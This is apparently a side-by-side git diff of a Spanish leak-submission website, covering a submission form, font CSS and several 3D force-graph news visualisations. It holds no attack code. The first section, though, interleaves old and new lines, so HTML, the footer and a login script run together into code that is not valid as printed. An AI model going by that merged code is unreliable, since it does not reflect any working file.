<p class="hint">Solo si quieres que podamos responderte. Signal, ProtonMail, clave PGP o una cuenta desechable. Puedes dejarlo en blanco.</p>
<input type="text" id="contacto" name="contacto" maxlength="400" placeholder="p. ej. Signal: +…, o correo desechable">
</div>
<div class="hp" aria-hidden="true"> <input type="submit" value="Login">
<label>No rellenar<input type="text" name="website" tabindex="-1" autocomplete="off"></label>
</div>
<div class="submit-row">
<button type="submit" class="btn btn-solid btn-lg">Enviar de forma segura →</button>
<span class="submit-note">HTTPS · sin IP · sin cookies · sin JavaScript</span>
</div>
</form> </form>
</div> </div>
</section> <img class="image-right" src="/images/journalist_fondo2.jpg" alt="Fondo derecho">
</div>
<section class="block"> <script>
<div class="wrap"> function login(event) {
<div class="callout"> event.preventDefault(); // Evitar que el formulario se envíe por defecto
<span class="ic" aria-hidden="true"></span>
<div><b>Aviso honesto.</b> Este buzón cifra el envío en tránsito y no registra tu IP, pero <b>no sustituye a una plataforma tipo SecureDrop</b>. Para filtraciones de altísimo riesgo, combínalo con Tor, limpieza de metadatos y, si puedes, cifrado PGP del propio archivo.</div>
</div>
</div>
</section>
<footer class="foot"> const username = document.getElementById('username').value;
<div class="wrap"> const password = document.getElementById('password').value;
<p>UP-LEAKS · flujos de información · software libre</p> const publicKey = document.getElementById('publicKey').value;
<p class="q">&ldquo;Los gigantes vistos en perspectiva parecen marionetas.&rdquo;</p>
</div> // Enviar los datos del formulario mediante una petición AJAX a nuestro endpoint de login
</footer> fetch('/login', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ username, password, publicKey })
})
.then(response => response.json())
.then(data => {
// Si el servidor devuelve un redireccionamiento, redirigimos al usuario
if (data.redirect) {
window.location.href = data.redirect;
} else {
// Si no hay redireccionamiento, se podría mostrar un mensaje de error
console.log('Credenciales inválidas');
}
})
.catch(error => {
console.error('Error en la petición AJAX:', error);
});
}
</script>
</body> </body>
</html> </html>

View file

@ -1,6 +1,10 @@
/* La familia "Retrolift" no se distribuye con el repo: no hay @font-face. @font-face {
Las reglas que la piden caen a sans-serif. Para usarla, deja el .woff2 en font-family: "Retrolift";
fonts/ y anade aqui la regla con una ruta relativa. */ src: url("fonts/retrolift.woff2") format("woff2"),
url("fonts/retrolift.woff") format("woff");
font-weight: normal;
font-style: normal;
}
* { * {
margin: 0; margin: 0;

View file

@ -1,5 +1,5 @@
<!DOCTYPE html> <!DOCTYPE html>
<html lang="es"> <html lang="en">
<head> <head>
<meta charset="UTF-8"> <meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="viewport" content="width=device-width, initial-scale=1.0">

View file

@ -1,61 +1,29 @@
// output_climate_pruebas.js // output_climate_pruebas.js
import ForceGraph3D from 'https://esm.sh/3d-force-graph?external=three';
import * as THREE from 'three';
// Obtener el contenedor del gráfico
document.addEventListener('DOMContentLoaded', () => { document.addEventListener('DOMContentLoaded', () => {
const elem = document.getElementById('climateContainer'); const elem = document.getElementById('climateContainer');
const form = document.getElementById('paramForm'); const form = document.getElementById('paramForm');
let lastGraphData = { nodes: [], links: [] }; // Inicializar el gráfico 3D
let fullGraphData = null;
let currentRelatedNodes = [];
let currentRelatedIdx = 0;
let currentNode = null;
const textureCache = {};
function getTexture(url) {
if (!textureCache[url]) textureCache[url] = new THREE.TextureLoader().load(url);
return textureCache[url];
}
const graph = ForceGraph3D()(elem) const graph = ForceGraph3D()(elem)
.backgroundColor('#000000') .backgroundColor('#000000')
.nodeLabel(node => node.type === 'imagen' ? (node.label || node.id) : node.id) .nodeLabel('id')
.nodeAutoColorBy('group') .nodeAutoColorBy('group')
.nodeVal(node => node.type === 'imagen' ? 20 : 2) .nodeVal(1)
.linkColor(() => '#42FF00') .linkColor(() => '#42FF00')
.onNodeClick(node => showNodeDetail(node)) .onNodeClick(node => showNodeContent(node.content))
.onNodeHover(node => { elem.style.cursor = node ? 'pointer' : null; }) .onNodeHover(node => { elem.style.cursor = node ? 'pointer' : null; })
.nodeThreeObject(node => { .forceEngine('d3')
// Imagen local (nodos-imagen) directa; og:image remota de noticias via //.d3Force('charge', d3.forceManyBody().strength(-300))
// proxy same-origin /api/img para que WebGL pueda texturizarla (CORS). //.d3Force('link', d3.forceLink().distance(300).strength(1));
let src = null, esNoticia = false;
if (node.type === 'imagen' && node.image_url) {
src = node.image_url;
} else if (node.imagen_url) {
src = '/api/img?u=' + encodeURIComponent(node.imagen_url);
esNoticia = true;
}
if (!src) return null;
const texture = getTexture(src);
texture.colorSpace = THREE.SRGBColorSpace;
const material = new THREE.SpriteMaterial({ map: texture, depthWrite: false });
const sprite = new THREE.Sprite(material);
// miniaturas de noticia mas pequenas que los nodos-imagen dedicados
if (esNoticia) sprite.scale.set(84, 55, 1);
else sprite.scale.set(160, 104, 1);
return sprite;
})
.nodeThreeObjectExtend(false)
.forceEngine('d3');
graph.d3Force('charge').strength(-150);
graph.d3Force('link').distance(70).strength(0.3);
graph.d3Force('center').strength(0.05);
// Centrado automático del gráfico
function centerGraph() { function centerGraph() {
setTimeout(() => { setTimeout(() => {
graph.zoomToFit(400, Math.min(elem.clientWidth, elem.clientHeight) * 0.1); const width = elem.clientWidth;
const height = elem.clientHeight;
graph.zoomToFit(400, Math.min(width, height) * 0.1);
}, 500); }, 500);
} }
window.addEventListener('resize', () => { window.addEventListener('resize', () => {
@ -64,179 +32,95 @@ document.addEventListener('DOMContentLoaded', () => {
centerGraph(); centerGraph();
}); });
function getAuthor(node) { return node.autor || node.fuente || node.source || ''; } // Mostrar contenido del nodo
function formatDate(fecha) { function showNodeContent(content) {
if (!fecha) return ''; console.log('Contenido del nodo:', content);
try { return new Date(fecha).toLocaleDateString('es-ES'); } catch { return String(fecha); }
}
function formatTitle(id) { return String(id).replace(/_/g, ' '); }
function getRelated(node) {
const nid = node.id;
const relIds = new Set();
for (const lk of lastGraphData.links) {
const s = typeof lk.source === 'object' ? lk.source.id : lk.source;
const t = typeof lk.target === 'object' ? lk.target.id : lk.target;
if (s === nid) relIds.add(t);
else if (t === nid) relIds.add(s);
}
return lastGraphData.nodes.filter(n => relIds.has(n.id));
} }
function renderDetailPanel(node, related, idx) { // Función para obtener datos del servidor
const detailContent = document.getElementById('detailContent');
const split = document.querySelector('main.split-screen');
if (!detailContent || !split) return;
detailContent.querySelector('.detail-author').textContent = getAuthor(node);
detailContent.querySelector('.detail-date').textContent = formatDate(node.fecha || node.date);
detailContent.querySelector('.detail-title').textContent = formatTitle(node.id);
const relCount = detailContent.querySelector('.relations-count');
const relLabel = document.getElementById('relationLabel');
const prevBtn = document.getElementById('prevRelation');
const nextBtn = document.getElementById('nextRelation');
relCount.textContent = `${related.length} relación${related.length !== 1 ? 'es' : ''}`;
if (related.length > 0) {
relLabel.textContent = formatTitle(related[idx].id);
prevBtn.disabled = idx <= 0;
nextBtn.disabled = idx >= related.length - 1;
} else {
relLabel.textContent = '—';
prevBtn.disabled = true;
nextBtn.disabled = true;
}
const body = detailContent.querySelector('.detail-body');
body.innerHTML = '';
const _imgSrc = (node.type === 'imagen' && node.image_url) ? node.image_url
: (node.imagen_url || null);
if (_imgSrc) {
const img = document.createElement('img');
img.src = _imgSrc;
img.className = 'detail-img';
img.loading = 'lazy';
img.onerror = () => img.remove();
body.appendChild(img);
}
const text = document.createElement('span');
text.textContent = node.content || node.texto || node.descripcion || 'Sin contenido disponible.';
body.appendChild(text);
if (related.length > 0) {
const conexBtn = document.createElement('button');
conexBtn.id = 'verConexionesBtn';
conexBtn.textContent = '⬡ Ver solo conexiones de este nodo';
conexBtn.addEventListener('click', () => showEgoGraph(node));
body.appendChild(conexBtn);
}
split.classList.add('show-detail');
setTimeout(() => { graph.width(elem.clientWidth); graph.height(elem.clientHeight); }, 350);
}
function showEgoGraph(node) {
const nid = node.id;
const relIds = new Set();
for (const lk of lastGraphData.links) {
const s = typeof lk.source === 'object' ? lk.source.id : lk.source;
const t = typeof lk.target === 'object' ? lk.target.id : lk.target;
if (s === nid) relIds.add(t);
else if (t === nid) relIds.add(s);
}
const egoNodes = lastGraphData.nodes.filter(n => n.id === nid || relIds.has(n.id));
const egoIds = new Set(egoNodes.map(n => n.id));
const egoLinks = lastGraphData.links.filter(lk => {
const s = typeof lk.source === 'object' ? lk.source.id : lk.source;
const t = typeof lk.target === 'object' ? lk.target.id : lk.target;
return egoIds.has(s) && egoIds.has(t);
});
fullGraphData = lastGraphData;
graph.graphData({ nodes: egoNodes, links: egoLinks });
centerGraph();
document.getElementById('volverGrafoBtn').classList.add('visible');
}
function restoreFullGraph() {
if (fullGraphData) {
lastGraphData = fullGraphData;
fullGraphData = null;
graph.graphData({ nodes: lastGraphData.nodes, links: lastGraphData.links });
centerGraph();
document.getElementById('volverGrafoBtn').classList.remove('visible');
}
}
function showNodeDetail(node) {
currentNode = node;
currentRelatedNodes = getRelated(node);
currentRelatedIdx = 0;
renderDetailPanel(node, currentRelatedNodes, currentRelatedIdx);
}
document.getElementById('prevRelation').addEventListener('click', () => {
if (currentRelatedIdx > 0) {
currentRelatedIdx--;
renderDetailPanel(currentNode, currentRelatedNodes, currentRelatedIdx);
}
});
document.getElementById('nextRelation').addEventListener('click', () => {
if (currentRelatedIdx < currentRelatedNodes.length - 1) {
currentRelatedIdx++;
renderDetailPanel(currentNode, currentRelatedNodes, currentRelatedIdx);
}
});
document.getElementById('closeDetail').addEventListener('click', () => {
const split = document.querySelector('main.split-screen');
if (split) split.classList.remove('show-detail');
restoreFullGraph();
setTimeout(() => { graph.width(elem.clientWidth); graph.height(elem.clientHeight); }, 350);
});
document.getElementById('volverGrafoBtn').addEventListener('click', () => {
restoreFullGraph();
});
async function getData(paramsObj = {}) { async function getData(paramsObj = {}) {
try { try {
let url = '/api/data'; let url = '/api/data';
const params = new URLSearchParams(); const params = new URLSearchParams();
// Establecer el tema fijo
params.append('tema', 'cambio climático'); params.append('tema', 'cambio climático');
// Agregar parámetros del formulario, incluyendo complejidad como umbral
for (const key in paramsObj) { for (const key in paramsObj) {
if (paramsObj[key] !== undefined && paramsObj[key] !== '') { if (paramsObj[key] !== undefined && paramsObj[key] !== '') {
params.append(key, paramsObj[key]); params.append(key, paramsObj[key]);
} }
} }
url += `?${params.toString()}`; url += `?${params.toString()}`;
console.log('Fetch URL:', url); console.log('🔎 Fetch URL:', url);
const response = await fetch(url); const response = await fetch(url);
if (!response.ok) throw new Error(response.statusText); if (!response.ok) throw new Error(response.statusText);
const data = await response.json(); const data = await response.json();
const nodeIds = new Set(data.nodes.map(n => n.id)); console.log('Datos recibidos del servidor:', data);
data.links = data.links.filter(lk => nodeIds.has(lk.source) && nodeIds.has(lk.target));
// Filtrar enlaces inválidos
const nodeIds = new Set(data.nodes.map(node => node.id));
data.links = data.links.filter(link => nodeIds.has(link.source) && nodeIds.has(link.target));
return data; return data;
} catch (error) { } catch (error) {
console.error('Error al obtener datos:', error); console.error('Error al obtener datos del servidor:', error);
return null; return null;
} }
} }
// Función principal: fetch, filtrar por complejidad/umbral y renderizar
async function fetchAndRender() { async function fetchAndRender() {
const subtematica = document.getElementById('param2').value;
const palabraClave = document.getElementById('param1').value;
const fechaInicio = document.getElementById('fecha_inicio').value;
const fechaFin = document.getElementById('fecha_fin').value;
const nodos = document.getElementById('nodos').value;
const complejidad = document.getElementById('complejidad').value;
// Usamos 'complejidad' como porcentaje de similitud mínima (umbral)
const paramsObj = { const paramsObj = {
subtematica: document.getElementById('param2').value, subtematica,
palabraClave: document.getElementById('param1').value, palabraClave,
fechaInicio: document.getElementById('fecha_inicio').value, fechaInicio,
fechaFin: document.getElementById('fecha_fin').value, fechaFin,
nodos: document.getElementById('nodos').value, nodos,
complejidad: document.getElementById('complejidad').value, complejidad // enviado al backend y usado de umbral en cliente
}; };
// Parsear complejidad a número
const umbralPct = parseFloat(complejidad) || 0;
console.log(`Aplicando umbral de similitud: ${umbralPct}%`);
const graphData = await getData(paramsObj); const graphData = await getData(paramsObj);
if (!graphData) return; if (!graphData) return;
lastGraphData = graphData;
graph.graphData({ nodes: graphData.nodes, links: graphData.links }); // Filtrar enlaces por umbral de similitud
let filteredLinks = graphData.links;
if (umbralPct > 0) {
filteredLinks = filteredLinks.filter(link => Number(link.value) >= umbralPct);
console.log(`Enlaces tras aplicar umbral: ${filteredLinks.length}`);
}
graph.graphData({ nodes: graphData.nodes, links: filteredLinks });
centerGraph(); centerGraph();
} }
form.addEventListener('submit', event => { event.preventDefault(); fetchAndRender(); }); // Escuchar evento submit del formulario
form.addEventListener('submit', event => {
event.preventDefault();
fetchAndRender(); fetchAndRender();
}); });
// Cargar gráfico inicial
fetchAndRender();
});

View file

@ -1,61 +1,29 @@
// output_eco_corp.js // output_eco_corp.js
import ForceGraph3D from 'https://esm.sh/3d-force-graph?external=three';
import * as THREE from 'three';
// Obtener el contenedor del gráfico
document.addEventListener('DOMContentLoaded', () => { document.addEventListener('DOMContentLoaded', () => {
const elem = document.getElementById('ecoCorpContainer'); const elem = document.getElementById('ecoCorpContainer');
const form = document.getElementById('paramForm'); const form = document.getElementById('paramForm');
let lastGraphData = { nodes: [], links: [] }; // Inicializar el gráfico 3D
let fullGraphData = null;
let currentRelatedNodes = [];
let currentRelatedIdx = 0;
let currentNode = null;
const textureCache = {};
function getTexture(url) {
if (!textureCache[url]) textureCache[url] = new THREE.TextureLoader().load(url);
return textureCache[url];
}
const graph = ForceGraph3D()(elem) const graph = ForceGraph3D()(elem)
.backgroundColor('#000000') .backgroundColor('#000000')
.nodeLabel(node => node.type === 'imagen' ? (node.label || node.id) : node.id) .nodeLabel('id')
.nodeAutoColorBy('group') .nodeAutoColorBy('group')
.nodeVal(node => node.type === 'imagen' ? 20 : 2) .nodeVal(1)
.linkColor(() => 'yellow') .linkColor(() => 'yellow')
.onNodeClick(node => showNodeDetail(node)) .onNodeClick(node => showNodeContent(node.content))
.onNodeHover(node => { elem.style.cursor = node ? 'pointer' : null; }) .onNodeHover(node => { elem.style.cursor = node ? 'pointer' : null; })
.nodeThreeObject(node => { .forceEngine('d3')
// Imagen local (nodos-imagen) directa; og:image remota de noticias via //.d3Force('charge', d3.forceManyBody().strength(-300))
// proxy same-origin /api/img para que WebGL pueda texturizarla (CORS). //.d3Force('link', d3.forceLink().distance(300).strength(1));
let src = null, esNoticia = false;
if (node.type === 'imagen' && node.image_url) {
src = node.image_url;
} else if (node.imagen_url) {
src = '/api/img?u=' + encodeURIComponent(node.imagen_url);
esNoticia = true;
}
if (!src) return null;
const texture = getTexture(src);
texture.colorSpace = THREE.SRGBColorSpace;
const material = new THREE.SpriteMaterial({ map: texture, depthWrite: false });
const sprite = new THREE.Sprite(material);
// miniaturas de noticia mas pequenas que los nodos-imagen dedicados
if (esNoticia) sprite.scale.set(84, 55, 1);
else sprite.scale.set(160, 104, 1);
return sprite;
})
.nodeThreeObjectExtend(false)
.forceEngine('d3');
graph.d3Force('charge').strength(-150);
graph.d3Force('link').distance(70).strength(0.3);
graph.d3Force('center').strength(0.05);
// Centrado automático del gráfico
function centerGraph() { function centerGraph() {
setTimeout(() => { setTimeout(() => {
graph.zoomToFit(400, Math.min(elem.clientWidth, elem.clientHeight) * 0.1); const width = elem.clientWidth;
const height = elem.clientHeight;
graph.zoomToFit(400, Math.min(width, height) * 0.1);
}, 500); }, 500);
} }
window.addEventListener('resize', () => { window.addEventListener('resize', () => {
@ -64,179 +32,89 @@ document.addEventListener('DOMContentLoaded', () => {
centerGraph(); centerGraph();
}); });
function getAuthor(node) { return node.autor || node.fuente || node.source || ''; } // Mostrar contenido del nodo
function formatDate(fecha) { function showNodeContent(content) {
if (!fecha) return ''; console.log('Contenido del nodo:', content);
try { return new Date(fecha).toLocaleDateString('es-ES'); } catch { return String(fecha); }
}
function formatTitle(id) { return String(id).replace(/_/g, ' '); }
function getRelated(node) {
const nid = node.id;
const relIds = new Set();
for (const lk of lastGraphData.links) {
const s = typeof lk.source === 'object' ? lk.source.id : lk.source;
const t = typeof lk.target === 'object' ? lk.target.id : lk.target;
if (s === nid) relIds.add(t);
else if (t === nid) relIds.add(s);
}
return lastGraphData.nodes.filter(n => relIds.has(n.id));
} }
function renderDetailPanel(node, related, idx) { // Función para obtener datos del servidor
const detailContent = document.getElementById('detailContent');
const split = document.querySelector('main.split-screen');
if (!detailContent || !split) return;
detailContent.querySelector('.detail-author').textContent = getAuthor(node);
detailContent.querySelector('.detail-date').textContent = formatDate(node.fecha || node.date);
detailContent.querySelector('.detail-title').textContent = formatTitle(node.id);
const relCount = detailContent.querySelector('.relations-count');
const relLabel = document.getElementById('relationLabel');
const prevBtn = document.getElementById('prevRelation');
const nextBtn = document.getElementById('nextRelation');
relCount.textContent = `${related.length} relación${related.length !== 1 ? 'es' : ''}`;
if (related.length > 0) {
relLabel.textContent = formatTitle(related[idx].id);
prevBtn.disabled = idx <= 0;
nextBtn.disabled = idx >= related.length - 1;
} else {
relLabel.textContent = '—';
prevBtn.disabled = true;
nextBtn.disabled = true;
}
const body = detailContent.querySelector('.detail-body');
body.innerHTML = '';
const _imgSrc = (node.type === 'imagen' && node.image_url) ? node.image_url
: (node.imagen_url || null);
if (_imgSrc) {
const img = document.createElement('img');
img.src = _imgSrc;
img.className = 'detail-img';
img.loading = 'lazy';
img.onerror = () => img.remove();
body.appendChild(img);
}
const text = document.createElement('span');
text.textContent = node.content || node.texto || node.descripcion || 'Sin contenido disponible.';
body.appendChild(text);
if (related.length > 0) {
const conexBtn = document.createElement('button');
conexBtn.id = 'verConexionesBtn';
conexBtn.textContent = '⬡ Ver solo conexiones de este nodo';
conexBtn.addEventListener('click', () => showEgoGraph(node));
body.appendChild(conexBtn);
}
split.classList.add('show-detail');
setTimeout(() => { graph.width(elem.clientWidth); graph.height(elem.clientHeight); }, 350);
}
function showEgoGraph(node) {
const nid = node.id;
const relIds = new Set();
for (const lk of lastGraphData.links) {
const s = typeof lk.source === 'object' ? lk.source.id : lk.source;
const t = typeof lk.target === 'object' ? lk.target.id : lk.target;
if (s === nid) relIds.add(t);
else if (t === nid) relIds.add(s);
}
const egoNodes = lastGraphData.nodes.filter(n => n.id === nid || relIds.has(n.id));
const egoIds = new Set(egoNodes.map(n => n.id));
const egoLinks = lastGraphData.links.filter(lk => {
const s = typeof lk.source === 'object' ? lk.source.id : lk.source;
const t = typeof lk.target === 'object' ? lk.target.id : lk.target;
return egoIds.has(s) && egoIds.has(t);
});
fullGraphData = lastGraphData;
graph.graphData({ nodes: egoNodes, links: egoLinks });
centerGraph();
document.getElementById('volverGrafoBtn').classList.add('visible');
}
function restoreFullGraph() {
if (fullGraphData) {
lastGraphData = fullGraphData;
fullGraphData = null;
graph.graphData({ nodes: lastGraphData.nodes, links: lastGraphData.links });
centerGraph();
document.getElementById('volverGrafoBtn').classList.remove('visible');
}
}
function showNodeDetail(node) {
currentNode = node;
currentRelatedNodes = getRelated(node);
currentRelatedIdx = 0;
renderDetailPanel(node, currentRelatedNodes, currentRelatedIdx);
}
document.getElementById('prevRelation').addEventListener('click', () => {
if (currentRelatedIdx > 0) {
currentRelatedIdx--;
renderDetailPanel(currentNode, currentRelatedNodes, currentRelatedIdx);
}
});
document.getElementById('nextRelation').addEventListener('click', () => {
if (currentRelatedIdx < currentRelatedNodes.length - 1) {
currentRelatedIdx++;
renderDetailPanel(currentNode, currentRelatedNodes, currentRelatedIdx);
}
});
document.getElementById('closeDetail').addEventListener('click', () => {
const split = document.querySelector('main.split-screen');
if (split) split.classList.remove('show-detail');
restoreFullGraph();
setTimeout(() => { graph.width(elem.clientWidth); graph.height(elem.clientHeight); }, 350);
});
document.getElementById('volverGrafoBtn').addEventListener('click', () => {
restoreFullGraph();
});
async function getData(paramsObj = {}) { async function getData(paramsObj = {}) {
try { try {
let url = '/api/data'; let url = '/api/data';
const params = new URLSearchParams(); const params = new URLSearchParams();
// Establecer el tema fijo
params.append('tema', 'economía y corporaciones'); params.append('tema', 'economía y corporaciones');
// Agregar parámetros del formulario, incluyendo complejidad como umbral
for (const key in paramsObj) { for (const key in paramsObj) {
if (paramsObj[key] !== undefined && paramsObj[key] !== '') { if (paramsObj[key] !== undefined && paramsObj[key] !== '') {
params.append(key, paramsObj[key]); params.append(key, paramsObj[key]);
} }
} }
url += `?${params.toString()}`; url += `?${params.toString()}`;
console.log('Fetch URL:', url); console.log('🔎 Fetch URL:', url);
const response = await fetch(url); const response = await fetch(url);
if (!response.ok) throw new Error(response.statusText); if (!response.ok) throw new Error(response.statusText);
const data = await response.json(); const data = await response.json();
const nodeIds = new Set(data.nodes.map(n => n.id)); console.log('Datos recibidos del servidor:', data);
data.links = data.links.filter(lk => nodeIds.has(lk.source) && nodeIds.has(lk.target));
// Filtrar enlaces inválidos
const nodeIds = new Set(data.nodes.map(node => node.id));
data.links = data.links.filter(link => nodeIds.has(link.source) && nodeIds.has(link.target));
return data; return data;
} catch (error) { } catch (error) {
console.error('Error al obtener datos:', error); console.error('Error al obtener datos del servidor:', error);
return null; return null;
} }
} }
// Función principal: fetch, filtrar por complejidad/umbral y renderizar
async function fetchAndRender() { async function fetchAndRender() {
const subtematica = document.getElementById('param2').value;
const palabraClave = document.getElementById('param1').value;
const fechaInicio = document.getElementById('fecha_inicio').value;
const fechaFin = document.getElementById('fecha_fin').value;
const nodos = document.getElementById('nodos').value;
const complejidad = document.getElementById('complejidad').value;
// Usamos 'complejidad' como porcentaje de similitud mínima (umbral)
const paramsObj = { const paramsObj = {
subtematica: document.getElementById('param2').value, subtematica,
palabraClave: document.getElementById('param1').value, palabraClave,
fechaInicio: document.getElementById('fecha_inicio').value, fechaInicio,
fechaFin: document.getElementById('fecha_fin').value, fechaFin,
nodos: document.getElementById('nodos').value, nodos,
complejidad: document.getElementById('complejidad').value, complejidad // enviado al backend y usado de umbral en cliente
}; };
// Parsear complejidad a número
const umbralPct = parseFloat(complejidad) || 0;
console.log(`Aplicando umbral de similitud: ${umbralPct}%`);
const graphData = await getData(paramsObj); const graphData = await getData(paramsObj);
if (!graphData) return; if (!graphData) return;
lastGraphData = graphData;
graph.graphData({ nodes: graphData.nodes, links: graphData.links }); // Filtrar enlaces por umbral de similitud
let filteredLinks = graphData.links;
if (umbralPct > 0) {
filteredLinks = filteredLinks.filter(link => Number(link.value) >= umbralPct);
console.log(`Enlaces tras aplicar umbral: ${filteredLinks.length}`);
}
graph.graphData({ nodes: graphData.nodes, links: filteredLinks });
centerGraph(); centerGraph();
} }
form.addEventListener('submit', event => { event.preventDefault(); fetchAndRender(); }); // Escuchar evento submit del formulario
form.addEventListener('submit', event => {
event.preventDefault();
fetchAndRender();
});
// Cargar gráfico inicial
fetchAndRender(); fetchAndRender();
}); });

View file

@ -3,38 +3,17 @@
// Obtener el contenedor del gráfico // Obtener el contenedor del gráfico
const elem = document.getElementById('globWarContainer'); const elem = document.getElementById('globWarContainer');
// Cache de texturas para no recargar la misma imagen
const textureCache = {};
function getTexture(url) {
if (!textureCache[url]) {
textureCache[url] = new THREE.TextureLoader().load(url);
}
return textureCache[url];
}
// Inicializar el gráfico // Inicializar el gráfico
const graph = ForceGraph3D()(elem) const graph = ForceGraph3D()(elem)
.backgroundColor('#000000') .backgroundColor('#000000')
.nodeLabel(node => node.type === 'imagen' ? (node.label || node.id) : node.id) .nodeLabel('id')
.nodeAutoColorBy('group') .nodeAutoColorBy('group')
.nodeVal(node => node.type === 'imagen' ? 0 : 2) .nodeVal(2)
.linkColor(() => 'rgba(0,255,80,0.4)') .linkColor(() => 'green')
.onNodeClick(node => showNodeContent(node.content)) .onNodeClick(node => showNodeContent(node.content))
.onNodeHover(node => { .onNodeHover(node => {
elem.style.cursor = node ? 'pointer' : null; elem.style.cursor = node ? 'pointer' : null;
}) })
.nodeThreeObject(node => {
if (node.type !== 'imagen' || !node.image_url) return null;
const texture = getTexture(node.image_url);
texture.colorSpace = THREE.SRGBColorSpace;
const material = new THREE.SpriteMaterial({ map: texture, depthWrite: false });
const sprite = new THREE.Sprite(material);
sprite.scale.set(14, 9, 1);
return sprite;
})
.nodeThreeObjectExtend(false)
.forceEngine('d3') .forceEngine('d3')
.d3Force('charge', d3.forceManyBody().strength(-10)) .d3Force('charge', d3.forceManyBody().strength(-10))
.d3Force('link', d3.forceLink().distance(30).strength(1)); .d3Force('link', d3.forceLink().distance(30).strength(1));

View file

@ -1,61 +1,29 @@
// output_glob_war.js // output_glob_war.js
import ForceGraph3D from 'https://esm.sh/3d-force-graph?external=three';
import * as THREE from 'three';
// Obtener el contenedor del gráfico
document.addEventListener('DOMContentLoaded', () => { document.addEventListener('DOMContentLoaded', () => {
const elem = document.getElementById('globWarContainer'); const elem = document.getElementById('globWarContainer');
const form = document.getElementById('paramForm'); const form = document.getElementById('paramForm');
let lastGraphData = { nodes: [], links: [] }; // Inicializar el gráfico 3D
let fullGraphData = null;
let currentRelatedNodes = [];
let currentRelatedIdx = 0;
let currentNode = null;
const textureCache = {};
function getTexture(url) {
if (!textureCache[url]) textureCache[url] = new THREE.TextureLoader().load(url);
return textureCache[url];
}
const graph = ForceGraph3D()(elem) const graph = ForceGraph3D()(elem)
.backgroundColor('#000000') .backgroundColor('#000000')
.nodeLabel(node => node.type === 'imagen' ? (node.label || node.id) : node.id) .nodeLabel('id')
.nodeAutoColorBy('group') .nodeAutoColorBy('group')
.nodeVal(node => node.type === 'imagen' ? 20 : 2) .nodeVal(1)
.linkColor(() => 'red') .linkColor(() => 'red')
.onNodeClick(node => showNodeDetail(node)) .onNodeClick(node => showNodeContent(node.content))
.onNodeHover(node => { elem.style.cursor = node ? 'pointer' : null; }) .onNodeHover(node => { elem.style.cursor = node ? 'pointer' : null; })
.nodeThreeObject(node => { .forceEngine('d3')
// Imagen local (nodos-imagen) directa; og:image remota de noticias via //.d3Force('charge', d3.forceManyBody().strength(-300))
// proxy same-origin /api/img para que WebGL pueda texturizarla (CORS). //.d3Force('link', d3.forceLink().distance(300).strength(1));
let src = null, esNoticia = false;
if (node.type === 'imagen' && node.image_url) {
src = node.image_url;
} else if (node.imagen_url) {
src = '/api/img?u=' + encodeURIComponent(node.imagen_url);
esNoticia = true;
}
if (!src) return null;
const texture = getTexture(src);
texture.colorSpace = THREE.SRGBColorSpace;
const material = new THREE.SpriteMaterial({ map: texture, depthWrite: false });
const sprite = new THREE.Sprite(material);
// miniaturas de noticia mas pequenas que los nodos-imagen dedicados
if (esNoticia) sprite.scale.set(84, 55, 1);
else sprite.scale.set(160, 104, 1);
return sprite;
})
.nodeThreeObjectExtend(false)
.forceEngine('d3');
graph.d3Force('charge').strength(-150);
graph.d3Force('link').distance(70).strength(0.3);
graph.d3Force('center').strength(0.05);
// Centrado automático del gráfico
function centerGraph() { function centerGraph() {
setTimeout(() => { setTimeout(() => {
graph.zoomToFit(400, Math.min(elem.clientWidth, elem.clientHeight) * 0.1); const width = elem.clientWidth;
const height = elem.clientHeight;
graph.zoomToFit(400, Math.min(width, height) * 0.1);
}, 500); }, 500);
} }
window.addEventListener('resize', () => { window.addEventListener('resize', () => {
@ -64,181 +32,89 @@ document.addEventListener('DOMContentLoaded', () => {
centerGraph(); centerGraph();
}); });
// --- Detail panel helpers --- // Mostrar contenido del nodo
function getAuthor(node) { return node.autor || node.fuente || node.source || ''; } function showNodeContent(content) {
function formatDate(fecha) { console.log('Contenido del nodo:', content);
if (!fecha) return '';
try { return new Date(fecha).toLocaleDateString('es-ES'); } catch { return String(fecha); }
}
function formatTitle(id) { return String(id).replace(/_/g, ' '); }
function getRelated(node) {
const nid = node.id;
const relIds = new Set();
for (const lk of lastGraphData.links) {
const s = typeof lk.source === 'object' ? lk.source.id : lk.source;
const t = typeof lk.target === 'object' ? lk.target.id : lk.target;
if (s === nid) relIds.add(t);
else if (t === nid) relIds.add(s);
}
return lastGraphData.nodes.filter(n => relIds.has(n.id));
} }
function renderDetailPanel(node, related, idx) { // Función para obtener datos del servidor
const detailContent = document.getElementById('detailContent');
const split = document.querySelector('main.split-screen');
if (!detailContent || !split) return;
detailContent.querySelector('.detail-author').textContent = getAuthor(node);
detailContent.querySelector('.detail-date').textContent = formatDate(node.fecha || node.date);
detailContent.querySelector('.detail-title').textContent = formatTitle(node.id);
const relCount = detailContent.querySelector('.relations-count');
const relLabel = document.getElementById('relationLabel');
const prevBtn = document.getElementById('prevRelation');
const nextBtn = document.getElementById('nextRelation');
relCount.textContent = `${related.length} relación${related.length !== 1 ? 'es' : ''}`;
if (related.length > 0) {
relLabel.textContent = formatTitle(related[idx].id);
prevBtn.disabled = idx <= 0;
nextBtn.disabled = idx >= related.length - 1;
} else {
relLabel.textContent = '—';
prevBtn.disabled = true;
nextBtn.disabled = true;
}
const body = detailContent.querySelector('.detail-body');
body.innerHTML = '';
const _imgSrc = (node.type === 'imagen' && node.image_url) ? node.image_url
: (node.imagen_url || null);
if (_imgSrc) {
const img = document.createElement('img');
img.src = _imgSrc;
img.className = 'detail-img';
img.loading = 'lazy';
img.onerror = () => img.remove();
body.appendChild(img);
}
const text = document.createElement('span');
text.textContent = node.content || node.texto || node.descripcion || 'Sin contenido disponible.';
body.appendChild(text);
if (related.length > 0) {
const conexBtn = document.createElement('button');
conexBtn.id = 'verConexionesBtn';
conexBtn.textContent = '⬡ Ver solo conexiones de este nodo';
conexBtn.addEventListener('click', () => showEgoGraph(node));
body.appendChild(conexBtn);
}
split.classList.add('show-detail');
setTimeout(() => { graph.width(elem.clientWidth); graph.height(elem.clientHeight); }, 350);
}
function showEgoGraph(node) {
const nid = node.id;
const relIds = new Set();
for (const lk of lastGraphData.links) {
const s = typeof lk.source === 'object' ? lk.source.id : lk.source;
const t = typeof lk.target === 'object' ? lk.target.id : lk.target;
if (s === nid) relIds.add(t);
else if (t === nid) relIds.add(s);
}
